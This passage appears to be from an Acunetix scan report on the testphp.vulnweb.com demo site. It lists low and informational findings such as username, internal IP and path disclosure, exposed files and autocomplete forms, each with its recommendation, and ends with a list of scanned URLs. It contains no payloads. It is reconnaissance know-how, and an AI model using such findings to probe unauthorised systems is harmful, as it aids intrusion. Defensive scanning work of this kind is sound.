Connection: Keep-alive
```

/secured/database_connect.php	
Alert group	**MySQL username disclosure**
Severity	Low
Description	For a client program to be able to connect to the MySQL server, it must use the proper connection parameters, such as the name of the host where the server is running and the user name and password of your MySQL account. When the connection to the database cannot be established, the server returns an error message including the MySQL username and host that were used. This information should not be present on a production system.
Recommendations	Make sure the MySQL connection can be established and configure PHP not to display error messages.
Alert variants	
Details	Pattern found: `Access denied for user 'wauser'@'localhost' (using password: NO)`

```
GET /secured/database_connect.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/hpp/test.php	
Alert group	**Possible sensitive files**
Severity	Low
Description	A possible sensitive file has been found. This file is not directly linked from the website. This check looks for common sensitive resources like password files, configuration files, log files, include files, statistics data, database dumps. Each one of these files could help an attacker to learn more about his target.
Recommendations	Restrict access to this file or remove it from the website.
Alert variants	
Details	

```
GET /hpp/test.php HTTP/1.1

Accept: acunetix/wvs

Cookie: login=test%2Ftest

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**Possible virtual host found**
Severity	Low

Description	Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server (or pool of servers). This allows one server to share its resources, such as memory and processor cycles, without requiring all services provided to use the same host name. This web server is responding differently when the Host header is manipulated and various common virtual hosts are tested. This could indicate there is a Virtual Host present.
Recommendations	Consult the virtual host configuration and check if this virtual host should be publicly accessible.
Alert variants	
Details	Virtual host: **localhost** Response:

```
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully instal
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href
```

Web Server	
Alert group	**Unencrypted connection (verified)**
Severity	Low
Description	This scan target was connected to over an unencrypted connection. A potential attacker can intercept and modify data sent and received from this site.
Recommendations	The site should send and receive data over a secure (HTTPS) connection.
Alert variants	
Details	

```
GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**Content Security Policy (CSP) not implemented**
Severity	Informational

Description	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.
	Content Security Policy (CSP) can be implemented by adding a **Content-Security-Policy** header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following:
	`Content-Security-Policy:`
	`    default-src 'self';`
	`    script-src 'self' https://code.jquery.com;`
	It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application.

Recommendations	It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the **Content-Security-Policy** HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page.
Alert variants	
Details	

```
GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET / HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET / HTTP/1.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/404.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /404.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/artists.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /artists.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/cart.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /cart.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/categories.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /categories.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/disclaimer.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /disclaimer.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/guestbook.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /guestbook.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/index.bak	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wasp@acunetix.com`

```
GET /index.bak HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/index.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /index.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/listproducts.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /listproducts.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/login.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /login.php HTTP/1.1

Host: testphp.vulnweb.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

/product.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /product.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/search.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /search.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/signup.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/Templates/main_dynamic_template.dwt.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: `wvs@acunetix.com`

```
GET /Templates/main_dynamic_template.dwt.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/userinfo.php	
Alert group	**Email address found**
Severity	Informational
Description	One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.
Recommendations	Check references for details on how to solve this problem.
Alert variants	
Details	Pattern found: matheusdaocu@gmail.com wvs@acunetix.com

```
GET /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/secured/office.htm	
Alert group	**Microsoft Office possible sensitive information**
Severity	Informational
Description	This document has been converted to HTML using Microsoft Office. It seems that Office has included sensitive information during the conversion.
Recommendations	Inspect the source code of this document and remove the sensitive information.
Alert variants	

Details

Pattern found:

```
<o:DocumentProperties>
  <o:Author>Acunetix</o:Author>
  <o:LastAuthor>Acunetix</o:LastAuthor>
  <o:Revision>1</o:Revision>
  <o:TotalTime>0</o:TotalTime>
  <o:Created>2005-04-05T11:44:00Z</o:Created>
  <o:LastSaved>2005-04-05T11:44:00Z</o:LastSaved>
  <o:Pages>1</o:Pages>
  <o:Words>5</o:Words>
  <o:Characters>30</o:Characters>
  <o:Company>Acunetix</o:Company>
  <o:Lines>1</o:Lines>
  <o:Paragraphs>1</o:Paragraphs>
  <o:CharactersWithSpaces>34</o:CharactersWithSpaces>
  <o:Version>11.6360</o:Version>
 </o:DocumentProperties>
```

```
GET /secured/office.htm HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

Web Server	
Alert group	**Password type input with auto-complete enabled**
Severity	Informational

Description	When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved.Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.
Recommendations	The password auto-complete should be disabled in sensitive applications. To disable auto-complete, you may use a code similar to: `<INPUT TYPE="password" AUTOCOMPLETE="off">`
Alert variants	
Details	Form name: form1 Form action: /secured/newuser.php Form method: POST Form input: • upass [password]

```
GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**Password type input with auto-complete enabled**
Severity	Informational
Description	When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved.Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.
Recommendations	The password auto-complete should be disabled in sensitive applications. To disable auto-complete, you may use a code similar to: `<INPUT TYPE="password" AUTOCOMPLETE="off">`
Alert variants	

Details	Form name: loginform Form action: userinfo.php Form method: POST Form input: - pass [password]

```
GET /login.php HTTP/1.1

Host: testphp.vulnweb.com

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

X-WVS-ID: Acunetix-LSR/65535

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

/404.php	
Alert group	**Possible internal IP address disclosure**
Severity	Informational
Description	A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pattern found: `192.168.0.28`

```
GET /404.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/pictures/ipaddresses.txt	
Alert group	**Possible internal IP address disclosure**
Severity	Informational
Description	A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pattern found: `192.168.0.26`

```
GET /pictures/ipaddresses.txt HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/secured/phpinfo.php	
Alert group	**Possible internal IP address disclosure**
Severity	Informational
Description	A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pattern found: `192.168.0.5`

```
GET /secured/phpinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

/pictures/path-disclosure-unix.html	
Alert group	**Possible server path disclosure (Unix)**
Severity	Informational
Description	One or more fully qualified path names were found on this page. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pattern found: `>/usr/local/etc/httpd/htdocs2/destination`

```
GET /pictures/path-disclosure-unix.html HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/secured/phpinfo.php	
Alert group	**Possible server path disclosure (Unix)**
Severity	Informational
Description	One or more fully qualified path names were found on this page. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pattern found: `:/usr/obj/usr/src/sys/GENERIC`

```
GET /secured/phpinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/pictures/credentials.txt	
Alert group	**Possible username or password disclosure**
Severity	Informational
Description	A username and/or password was found in this file. This information could be sensitive. This alert may be a false positive, manual confirmation is required.
Recommendations	Remove this file from your website or change its permissions to remove access.
Alert variants	
Details	Pattern found: `password=something`

```
GET /pictures/credentials.txt HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Scanned items (coverage report)

http://testphp.vulnweb.com/
http://testphp.vulnweb.com/.idea/
http://testphp.vulnweb.com/.idea/.name
http://testphp.vulnweb.com/.idea/acuart.iml
http://testphp.vulnweb.com/.idea/encodings.xml
http://testphp.vulnweb.com/.idea/misc.xml
http://testphp.vulnweb.com/.idea/modules.xml
http://testphp.vulnweb.com/.idea/scopes/
http://testphp.vulnweb.com/.idea/scopes/scope_settings.xml
http://testphp.vulnweb.com/.idea/vcs.xml
http://testphp.vulnweb.com/.idea/workspace.xml
http://testphp.vulnweb.com/_mmServerScripts/
http://testphp.vulnweb.com/_mmServerScripts/MMHTTPDB.php
http://testphp.vulnweb.com/_mmServerScripts/mysql.php
http://testphp.vulnweb.com/404.php
http://testphp.vulnweb.com/admin/
http://testphp.vulnweb.com/admin/create.sql
http://testphp.vulnweb.com/AJAX/
http://testphp.vulnweb.com/AJAX/artists.php
http://testphp.vulnweb.com/AJAX/categories.php
http://testphp.vulnweb.com/AJAX/htaccess.conf
http://testphp.vulnweb.com/AJAX/index.php
http://testphp.vulnweb.com/AJAX/infoartist.php
http://testphp.vulnweb.com/AJAX/infocateg.php
http://testphp.vulnweb.com/AJAX/infotitle.php
http://testphp.vulnweb.com/AJAX/showxml.php
http://testphp.vulnweb.com/AJAX/styles.css
